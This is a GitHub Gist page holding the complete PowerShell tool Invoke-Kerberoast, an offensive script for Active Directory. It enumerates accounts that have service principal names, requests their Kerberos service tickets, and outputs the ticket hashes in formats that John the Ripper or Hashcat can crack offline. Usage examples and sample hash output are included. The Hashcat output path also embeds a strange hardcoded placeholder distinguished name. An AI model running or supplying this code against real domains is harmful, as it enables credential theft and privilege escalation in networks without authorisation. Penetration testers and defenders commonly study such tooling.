-
-
Save NotMedic/4aa3159802355fa9793ca47d429df440 to your computer and use it in GitHub Desktop.
Get Kerberoastable SPNs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| Invoke-Kerberoast.ps1 | |
| Author: Will Schroeder (@harmj0y), @machosec | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Credit to Tim Medin (@TimMedin) for the Kerberoasting concept and original toolset implementation (https://github.com/nidem/kerberoast). | |
| Note: the primary method of use will be Invoke-Kerberoast with various targeting options. | |
| #> | |
| function Get-DomainSearcher { | |
| <# | |
| .SYNOPSIS | |
| Helper used by various functions that builds a custom AD searcher object. | |
| Author: Will Schroeder (@harmj0y) | |
| License: BSD 3-Clause | |
| Required Dependencies: Get-NetDomain | |
| .DESCRIPTION | |
| Takes a given domain and a number of customizations and returns a | |
| System.DirectoryServices.DirectorySearcher object. This function is used | |
| heavily by other LDAP/ADSI search function. | |
| .PARAMETER Domain | |
| Specifies the domain to use for the query, defaults to the current domain. | |
| .PARAMETER LDAPFilter | |
| Specifies an LDAP query string that is used to filter Active Directory objects. | |
| .PARAMETER Properties | |
| Specifies the properties of the output object to retrieve from the server. | |
| .PARAMETER SearchBase | |
| The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
| Useful for OU queries. | |
| .PARAMETER SearchBasePrefix | |
| Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). | |
| .PARAMETER Server | |
| Specifies an Active Directory server (domain controller) to bind to for the search. | |
| .PARAMETER SearchScope | |
| Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
| .PARAMETER ResultPageSize | |
| Specifies the PageSize to set for the LDAP searcher object. | |
| .PARAMETER SecurityMasks | |
| Specifies an option for examining security information of a directory object. | |
| One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. | |
| .PARAMETER Tombstone | |
| Switch. Specifies that the searcher should also return deleted/tombstoned objects. | |
| .PARAMETER Credential | |
| A [Management.Automation.PSCredential] object of alternate credentials | |
| for connection to the target domain. | |
| .EXAMPLE | |
| Get-DomainSearcher -Domain testlab.local | |
| Return a searcher for all objects in testlab.local. | |
| .EXAMPLE | |
| Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' | |
| Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. | |
| .EXAMPLE | |
| Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" | |
| Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). | |
| .OUTPUTS | |
| System.DirectoryServices.DirectorySearcher | |
| #> | |
| [OutputType('System.DirectoryServices.DirectorySearcher')] | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(ValueFromPipeline = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Domain, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('Filter')] | |
| [String] | |
| $LDAPFilter, | |
| [ValidateNotNullOrEmpty()] | |
| [String[]] | |
| $Properties, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $SearchBase, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $SearchBasePrefix, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Server, | |
| [ValidateSet('Base', 'OneLevel', 'Subtree')] | |
| [String] | |
| $SearchScope = 'Subtree', | |
| [ValidateRange(1,10000)] | |
| [Int] | |
| $ResultPageSize = 200, | |
| [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
| [String] | |
| $SecurityMasks, | |
| [Switch] | |
| $Tombstone, | |
| [Management.Automation.PSCredential] | |
| [Management.Automation.CredentialAttribute()] | |
| $Credential = [Management.Automation.PSCredential]::Empty | |
| ) | |
| PROCESS { | |
| if ($Domain) { | |
| $TargetDomain = $Domain | |
| } | |
| else { | |
| $TargetDomain = (Get-NetDomain).name | |
| } | |
| if ($Credential -eq [Management.Automation.PSCredential]::Empty) { | |
| if (-not $Server) { | |
| try { | |
| # if there's no -Server specified, try to pull the primary DC to bind to | |
| $BindServer = ((Get-NetDomain).PdcRoleOwner).Name | |
| } | |
| catch { | |
| throw 'Get-DomainSearcher: Error in retrieving PDC for current domain' | |
| } | |
| } | |
| } | |
| elseif (-not $Server) { | |
| try { | |
| $BindServer = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name | |
| } | |
| catch { | |
| throw 'Get-DomainSearcher: Error in retrieving PDC for current domain' | |
| } | |
| } | |
| $SearchString = 'LDAP://' | |
| if ($BindServer) { | |
| $SearchString += $BindServer | |
| if ($TargetDomain) { | |
| $SearchString += '/' | |
| } | |
| } | |
| if ($SearchBasePrefix) { | |
| $SearchString += $SearchBasePrefix + ',' | |
| } | |
| if ($SearchBase) { | |
| if ($SearchBase -Match '^GC://') { | |
| # if we're searching the global catalog, get the path in the right format | |
| $DN = $SearchBase.ToUpper().Trim('/') | |
| $SearchString = '' | |
| } | |
| else { | |
| if ($SearchBase -match '^LDAP://') { | |
| if ($SearchBase -match "LDAP://.+/.+") { | |
| $SearchString = '' | |
| } | |
| else { | |
| $DN = $SearchBase.Substring(7) | |
| } | |
| } | |
| else { | |
| $DN = $SearchBase | |
| } | |
| } | |
| } | |
| else { | |
| if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { | |
| $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" | |
| } | |
| } | |
| $SearchString += $DN | |
| Write-Verbose "Get-DomainSearcher search string: $SearchString" | |
| if ($Credential -ne [Management.Automation.PSCredential]::Empty) { | |
| Write-Verbose "Using alternate credentials for LDAP connection" | |
| $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
| $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) | |
| } | |
| else { | |
| $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) | |
| } | |
| $Searcher.PageSize = $ResultPageSize | |
| $Searcher.SearchScope = $SearchScope | |
| $Searcher.CacheResults = $False | |
| if ($Tombstone) { | |
| $Searcher.Tombstone = $True | |
| } | |
| if ($LDAPFilter) { | |
| $Searcher.filter = $LDAPFilter | |
| } | |
| if ($SecurityMasks) { | |
| $Searcher.SecurityMasks = Switch ($SecurityMasks) { | |
| 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } | |
| 'Group' { [System.DirectoryServices.SecurityMasks]::Group } | |
| 'None' { [System.DirectoryServices.SecurityMasks]::None } | |
| 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } | |
| 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } | |
| } | |
| } | |
| if ($Properties) { | |
| # handle an array of properties to load w/ the possibility of comma-separated strings | |
| $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } | |
| $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) | |
| } | |
| $Searcher | |
| } | |
| } | |
| function Convert-LDAPProperty { | |
| <# | |
| .SYNOPSIS | |
| Helper that converts specific LDAP property result fields and outputs | |
| a custom psobject. | |
| Author: Will Schroeder (@harmj0y) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| .DESCRIPTION | |
| Converts a set of raw LDAP properties results from ADSI/LDAP searches | |
| into a proper PSObject. Used by several of the Get-Net* function. | |
| .PARAMETER Properties | |
| Properties object to extract out LDAP fields for display. | |
| .OUTPUTS | |
| System.Management.Automation.PSCustomObject | |
| A custom PSObject with LDAP hashtable properties translated. | |
| #> | |
| [OutputType('System.Management.Automation.PSCustomObject')] | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $True, ValueFromPipeline = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| $Properties | |
| ) | |
| $ObjectProperties = @{} | |
| $Properties.PropertyNames | ForEach-Object { | |
| if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { | |
| # convert the SID to a string | |
| $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value | |
| } | |
| elseif ($_ -eq 'objectguid') { | |
| # convert the GUID to a string | |
| $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid | |
| } | |
| elseif ($_ -eq 'ntsecuritydescriptor') { | |
| $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
| } | |
| elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { | |
| # convert timestamps | |
| if ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
| # if we have a System.__ComObject | |
| $Temp = $Properties[$_][0] | |
| [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) | |
| [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) | |
| $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) | |
| } | |
| else { | |
| # otherwise just a string | |
| $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) | |
| } | |
| } | |
| elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
| # try to convert misc com objects | |
| $Prop = $Properties[$_] | |
| try { | |
| $Temp = $Prop[$_][0] | |
| Write-Verbose $_ | |
| [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) | |
| [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) | |
| $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) | |
| } | |
| catch { | |
| $ObjectProperties[$_] = $Prop[$_] | |
| } | |
| } | |
| elseif ($Properties[$_].count -eq 1) { | |
| $ObjectProperties[$_] = $Properties[$_][0] | |
| } | |
| else { | |
| $ObjectProperties[$_] = $Properties[$_] | |
| } | |
| } | |
| New-Object -TypeName PSObject -Property $ObjectProperties | |
| } | |
| function Get-NetDomain { | |
| <# | |
| .SYNOPSIS | |
| Returns a given domain object. | |
| Author: Will Schroeder (@harmj0y) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| .DESCRIPTION | |
| Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current | |
| domain or the domain specified with -Domain X. | |
| .PARAMETER Domain | |
| Specifies the domain name to query for, defaults to the current domain. | |
| .PARAMETER Credential | |
| A [Management.Automation.PSCredential] object of alternate credentials | |
| for connection to the target domain. | |
| .EXAMPLE | |
| Get-NetDomain -Domain testlab.local | |
| .OUTPUTS | |
| System.DirectoryServices.ActiveDirectory.Domain | |
| .LINK | |
| http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG | |
| #> | |
| [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Position = 0, ValueFromPipeline = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Domain, | |
| [Management.Automation.PSCredential] | |
| [Management.Automation.CredentialAttribute()] | |
| $Credential = [Management.Automation.PSCredential]::Empty | |
| ) | |
| PROCESS { | |
| if ($Credential -ne [Management.Automation.PSCredential]::Empty) { | |
| Write-Verbose "Using alternate credentials for Get-NetDomain" | |
| if (-not $Domain) { | |
| # if no domain is supplied, extract the logon domain from the PSCredential passed | |
| $TargetDomain = $Credential.GetNetworkCredential().Domain | |
| Write-Verbose "Extracted domain '$Domain' from -Credential" | |
| } | |
| else { | |
| $TargetDomain = $Domain | |
| } | |
| $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
| try { | |
| [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
| } | |
| catch { | |
| Write-Verbose "The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." | |
| $Null | |
| } | |
| } | |
| elseif ($Domain) { | |
| $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) | |
| try { | |
| [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
| } | |
| catch { | |
| Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." | |
| $Null | |
| } | |
| } | |
| else { | |
| [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | |
| } | |
| } | |
| } | |
| function Get-SPNTicket { | |
| <# | |
| .SYNOPSIS | |
| Request the kerberos ticket for a specified service principal name (SPN). | |
| Author: @machosec, Will Schroeder (@harmj0y) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| .DESCRIPTION | |
| This function will either take one/more SPN strings, or one/more PowerView.User objects | |
| (the output from Get-NetUser) and will request a kerberos ticket for the given SPN | |
| using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted | |
| portion of the ticket is then extracted and output in either crackable John or Hashcat | |
| format (deafult of John). | |
| .PARAMETER SPN | |
| Specifies the service principal name to request the ticket for. | |
| .PARAMETER User | |
| Specifies a PowerView.User object (result of Get-NetUser) to request the ticket for. | |
| .PARAMETER OutputFormat | |
| Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. | |
| Defaults to 'John'. | |
| .EXAMPLE | |
| Get-SPNTicket -SPN "HTTP/web.testlab.local" | |
| Request a kerberos service ticket for the specified SPN. | |
| .EXAMPLE | |
| "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-SPNTicket | |
| Request kerberos service tickets for all SPNs passed on the pipeline. | |
| .EXAMPLE | |
| Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat | |
| Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. | |
| .INPUTS | |
| String | |
| Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. | |
| .INPUTS | |
| PowerView.User | |
| Accepts one or more PowerView.User objects on the pipeline with the User parameter set. | |
| .OUTPUTS | |
| PowerView.SPNTicket | |
| Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section. | |
| #> | |
| [OutputType('PowerView.SPNTicket')] | |
| [CmdletBinding(DefaultParameterSetName='RawSPN')] | |
| Param ( | |
| [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] | |
| [ValidatePattern('.*/.*')] | |
| [Alias('ServicePrincipalName')] | |
| [String[]] | |
| $SPN, | |
| [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] | |
| [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] | |
| [Object[]] | |
| $User, | |
| [Parameter(Position = 1)] | |
| [ValidateSet('John', 'Hashcat')] | |
| [Alias('Format')] | |
| [String] | |
| $OutputFormat = 'John' | |
| ) | |
| BEGIN { | |
| $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | |
| } | |
| PROCESS { | |
| if ($PSBoundParameters['User']) { | |
| $TargetObject = $User | |
| } | |
| else { | |
| $TargetObject = $SPN | |
| } | |
| ForEach ($Object in $TargetObject) { | |
| if ($PSBoundParameters['User']) { | |
| $UserSPN = $Object.ServicePrincipalName | |
| $SamAccountName = $Object.SamAccountName | |
| $DistinguishedName = $Object.DistinguishedName | |
| } | |
| else { | |
| $UserSPN = $Object | |
| $SamAccountName = $Null | |
| $DistinguishedName = $Null | |
| } | |
| $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN | |
| $TicketByteStream = $Ticket.GetRequest() | |
| if ($TicketByteStream) { | |
| $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' | |
| [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' | |
| $Parts.RemoveAt($Parts.Count - 1) | |
| $Hash = $Parts -join 'A48201' | |
| $Hash = $Hash.Insert(32, '$') | |
| $Out = New-Object PSObject | |
| $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName | |
| $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName | |
| $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName | |
| if ($OutputFormat -match 'John') { | |
| $HashFormat = "`$krb5tgs`$unknown:$Hash" | |
| } | |
| else { | |
| # hashcat output format | |
| $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *' + $Hash | |
| } | |
| $Out | Add-Member Noteproperty 'Hash' $HashFormat | |
| $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') | |
| Write-Output $Out | |
| break | |
| } | |
| } | |
| } | |
| } | |
| function Invoke-Kerberoast { | |
| <# | |
| .SYNOPSIS | |
| Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. | |
| Author: Will Schroeder (@harmj0y), @machosec | |
| License: BSD 3-Clause | |
| Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Get-SPNTicket | |
| .DESCRIPTION | |
| Implements code from Get-NetUser to quyery for user accounts with non-null service principle | |
| names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. | |
| The ticket format can be specified with -OutputFormat <John/Hashcat> | |
| .PARAMETER Identity | |
| A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), | |
| SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). | |
| Wildcards accepted. By default all accounts will be queried for non-null SPNs. | |
| .PARAMETER AdminCount | |
| Switch. Return users with adminCount=1. | |
| .PARAMETER Domain | |
| Specifies the domain to use for the query, defaults to the current domain. | |
| .PARAMETER LDAPFilter | |
| Specifies an LDAP query string that is used to filter Active Directory objects. | |
| .PARAMETER SearchBase | |
| The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
| Useful for OU queries. | |
| .PARAMETER Server | |
| Specifies an Active Directory server (domain controller) to bind to. | |
| .PARAMETER SearchScope | |
| Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
| .PARAMETER ResultPageSize | |
| Specifies the PageSize to set for the LDAP searcher object. | |
| .PARAMETER Credential | |
| A [Management.Automation.PSCredential] object of alternate credentials | |
| for connection to the target domain. | |
| .PARAMETER OutputFormat | |
| Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. | |
| Defaults to 'John'. | |
| .EXAMPLE | |
| Invoke-Kerberoast | fl | |
| SamAccountName : SQLService | |
| DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local | |
| ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433 | |
| Hash : $krb5tgs$unknown:30FFC786BECD0E88992CBBB017155C53$0343A9C8... | |
| .EXAMPLE | |
| Invoke-Kerberoast -Domain dev.testlab.local | ConvertTo-CSV -NoTypeInformation | |
| "SamAccountName","DistinguishedName","ServicePrincipalName","Hash" | |
| "SQLSVC","CN=SQLSVC,CN=Users,DC=dev,DC=testlab,DC=local","MSSQLSvc/secondary.dev.testlab.local:1433","$krb5tgs$unknown:ECF4BDD1037D1D9E2E091ABBDC92F00E$0F3A4... | |
| .EXAMPLE | |
| Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl | |
| SamAccountName : SQLService | |
| DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local | |
| ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433 | |
| Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Se | |
| rvice,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf, | |
| DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04F | |
| C2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *30 | |
| FFC786BECD0E88992CBBB017155C53$0343A9C8A7EB90F059CD92B52 | |
| .... | |
| .INPUTS | |
| String | |
| Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. | |
| .OUTPUTS | |
| PowerView.SPNTicket | |
| Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section. | |
| #> | |
| [OutputType('PowerView.SPNTicket')] | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
| [Alias('SamAccountName', 'Name')] | |
| [String[]] | |
| $Identity, | |
| [Switch] | |
| $AdminCount, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Domain, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('Filter')] | |
| [String] | |
| $LDAPFilter, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $SearchBase, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Server, | |
| [ValidateSet('Base', 'OneLevel', 'Subtree')] | |
| [String] | |
| $SearchScope = 'Subtree', | |
| [ValidateRange(1,10000)] | |
| [Int] | |
| $ResultPageSize = 200, | |
| [Management.Automation.PSCredential] | |
| [Management.Automation.CredentialAttribute()] | |
| $Credential = [Management.Automation.PSCredential]::Empty, | |
| [ValidateSet('John', 'Hashcat')] | |
| [Alias('Format')] | |
| [String] | |
| $OutputFormat = 'John' | |
| ) | |
| BEGIN { | |
| $SearcherArguments = @{} | |
| if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
| if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
| if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
| if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
| if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
| if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
| $UserSearcher = Get-DomainSearcher @SearcherArguments | |
| $GetSPNTicketArguments = @{} | |
| if ($PSBoundParameters['OutputFormat']) { $GetSPNTicketArguments['OutputFormat'] = $OutputFormat } | |
| } | |
| PROCESS { | |
| if ($UserSearcher) { | |
| $IdentityFilter = '' | |
| $Filter = '' | |
| $Identity | Where-Object {$_} | ForEach-Object { | |
| $IdentityInstance = $_ | |
| if ($IdentityInstance -match '^S-1-.*') { | |
| $IdentityFilter += "(objectsid=$IdentityInstance)" | |
| } | |
| elseif ($IdentityInstance -match '^CN=.*') { | |
| $IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
| } | |
| else { | |
| try { | |
| $Null = [System.Guid]::Parse($IdentityInstance) | |
| $IdentityFilter += "(objectguid=$IdentityInstance)" | |
| } | |
| catch { | |
| $IdentityFilter += "(samAccountName=$IdentityInstance)" | |
| } | |
| } | |
| } | |
| if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
| $Filter += "(|$IdentityFilter)" | |
| } | |
| $Filter += '(servicePrincipalName=*)' | |
| if ($PSBoundParameters['AdminCount']) { | |
| Write-Verbose 'Searching for adminCount=1' | |
| $Filter += '(admincount=1)' | |
| } | |
| if ($PSBoundParameters['LDAPFilter']) { | |
| Write-Verbose "Using additional LDAP filter: $LDAPFilter" | |
| $Filter += "$LDAPFilter" | |
| } | |
| $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" | |
| Write-Verbose "Invoke-Kerberoast search filter string: $($UserSearcher.filter)" | |
| $Results = $UserSearcher.FindAll() | |
| $Results | Where-Object {$_} | ForEach-Object { | |
| $User = Convert-LDAPProperty -Properties $_.Properties | |
| $User.PSObject.TypeNames.Insert(0, 'PowerView.User') | |
| $User | |
| } | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments | |
| $Results.dispose() | |
| $UserSearcher.dispose() | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment